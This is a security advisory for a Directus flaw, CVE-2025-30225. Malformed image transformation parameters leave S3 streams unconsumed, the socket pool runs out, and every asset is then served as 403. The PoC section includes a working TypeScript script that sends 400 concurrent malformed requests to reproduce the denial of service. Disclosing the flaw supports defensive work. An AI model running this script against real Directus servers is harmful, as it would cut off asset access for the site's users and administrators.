CVE-2025-30225

| Summary | Directus's S3 assets become unavailable after a burst of malformed transformations ### Summary When making many malformed transformation requests at once, at some point, all assets are being served as 403. ### Details When I was investigating this issue, I have found that after a burst of malformed asset transformation requests, the amount of `sockets` held on [Agent on NodeHttpHandler](https://github.com/smithy-lang/smithy-typescript/blob/main/packages/node-http-handler/src/node-http-handler.ts#L189) was always equal to [`STORAGE_CLOUD_MAX_SOCKETS`](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L89) making it impossible to have new connections causing assets to be inaccessible. After looking into this [issue on AWS SDK](https://github.com/aws/aws-sdk-js-v3/issues/6691) I found that if the [stream is requested](https://github.com/directus/directus/blob/main/api/src/services/assets.ts#L213), it needs to be consumed otherwise will hang forever. And as can be [seen here](https://github.com/directus/directus/blob/main/api/src/services/assets.ts#L184) the stream is not consumed, because `sharp` will throw an error on the invalid arguments. For example `?height=xyz` The [timeouts set here](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L87-L88) had no noticeable effect on tests made. ### PoC This can be easily reproduced with the following steps: - setup AWS S3 storage - set STORAGE_CLOUD_MAX_SOCKETS: "50" (this value is lower than default for easier reproduction) - upload a file to your project - run this file (Replace the the file ID with the one you just uploaded): ```ts import axios from "axios"; async function start() { Array.from({ length: 400 }, (_, i) => { axios .get( "http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8?width=100&height=XYZ" ) .then(() => console.log("✅")) .catch((e) => console.log("⛔", e.response?.status || e.code || e.message) ); }); } start(); ``` Here's an example: https://github.com/user-attachments/assets/7f5a6f51-1c51-4d4d-aa4f-c4953e91714c ### Impact This causes denial of assets for all policies of Directus, including Admin and Public. |
